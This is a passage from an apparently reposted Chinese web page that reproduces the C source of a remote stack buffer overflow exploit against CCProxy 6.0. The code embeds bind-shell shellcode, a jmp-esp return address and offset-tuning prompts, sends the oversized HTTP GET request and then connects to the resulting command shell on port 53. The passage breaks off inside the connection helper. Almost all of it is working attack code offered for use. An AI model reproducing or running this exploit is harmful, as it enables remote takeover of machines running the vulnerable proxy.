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CCproxy 6 Exploit CN Version |
热 ★★★★ |
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CCproxy 6 Exploit CN Version |
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作者：闵涛 文章来源：闵涛的学习笔记 点击数：1731 更新时间：2009/4/23 10:50:57  |
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/*
* ccpx.c - x86/win32 CCProxy 6.0 remote stack buffer overflow exploit
* Author : isno <isno@xfocus.org>
* Complie : cl ccpx.c
* Usage : ccpx <target_ip> [target_port]
* default target_port is 808
* Stronger By Goldsun 5261314@sohu.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")
#define PPORT 808
#define XPORT 53
//lion''''s shellcode bind port 53
unsigned char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// shellcode
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x99\xAC\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59"
"\x35" //port
"\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
int Make_Connection(char *address,int port,int timeout);
void shell (int sock);
int main(int argc, char * argv[])
{
SOCKET csock, s2;
WSADATA WSAData;
int yn, offset, ret, pport;
char line[80];
char buf[8000], sbuf[10000];
char local[100] = {0};
char *localip;
struct hostent * pHost;
if(argc<2)
{
printf("CCPROXY 6 Exploit CN Writen By isno@xfocus.org & Compiled By Goldsun\n");
printf("Usage: %s <target_ip> [target_port] [offset]\ndefault port is 808\n", argv[0]);
return 1;
}
if(argc>=3)
pport=atoi(argv[2]);
else
pport=PPORT;
if(argc>=4)offset=atoi(argv[3]);
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("[-] WSAStartup failed.\n");
WSACleanup();
exit(1);
}
// 获取本机名
gethostname((char*)local, sizeof(local)-1);
// 获取本地 IP 地址
pHost = gethostbyname((char*)local);
localip = inet_ntoa(*(IN_ADDR *)pHost->h_addr_list[0]);
//offset=15-strlen(localip); //offset from target_ip len ret addr
offset=2;
printf("Local IP: %s Target IP: %s:%d\n",localip,argv[1],pport);
printf("Target in the same subnet? [y/n] ");
yn = _getch();
if(yn == 0x6e || yn == 0x4e)
{
printf("\r\nHave real Internet Ip Address ? [y/n] ");
yn = _getch();
if(yn == 0x6e || yn == 0x4e)
{
printf("\r\nYour gateway Internet ip address: ");
gets(line);
offset=15-strlen(line);
}
}
//如果攻击目标为本地地址，则需要调整offset
if(strcmp(argv[1], "localhost") == 0 || strcmp(argv[1], "127.0.0.1") == 0)
//offset=15-strlen("127.0.0.1");
offset=6;
printf("\r\n[+] connecting to %s:%d\n", argv[1], pport);
csock = Make_Connection(argv[1], pport, 10);
if(csock<0)
{
printf("[-] connect err.\n");
exit(1);
}
printf("Offset: %d",offset);
memset(buf, 0, sizeof(buf)-1);
memset(buf, 0x41, 4045+offset);
memcpy(buf+strlen(buf)-strlen(shellcode), shellcode, strlen(shellcode));
printf(" Magic Length: %d + 16 =",strlen(buf));
strcat(buf, "\xcd\x54\xfa\x7f"); //ret addr jmp esp
strcat(buf, "\xb9\x41\x41\x41\x25\xc1\xe9\x14\x2b\xe1\xff\xe4"); //jmp back
sprintf(sbuf, "GET /%s HTTP/1.0\r\n\r\n", buf);
printf(" buffer length: %d\n",strlen(buf));
printf("[+] send magic buffer...\n");
ret=send(csock, sbuf,strlen(sbuf), 0);
if(ret<=0)
{
printf("[-] send err.\n");
exit(1);
}
closesocket(csock);
Sleep(1000);
printf("[+] connecting to CMD shell port...\n");
s2 = Make_Connection(argv[1], XPORT, 10);
if(s2<0)
{
printf("[-] connect err:-<maybe there''''s firewall\n");
exit(1);
}
shell(s2);
WSACleanup();
return 0;
}
// 解析域名
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
// 建立TCP连接
// 输入:
// char * address IP地址
// int port 端口
// int timeout 延时
// 输出:
// 返回:
// 成功 >0
// 错误 <=0
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
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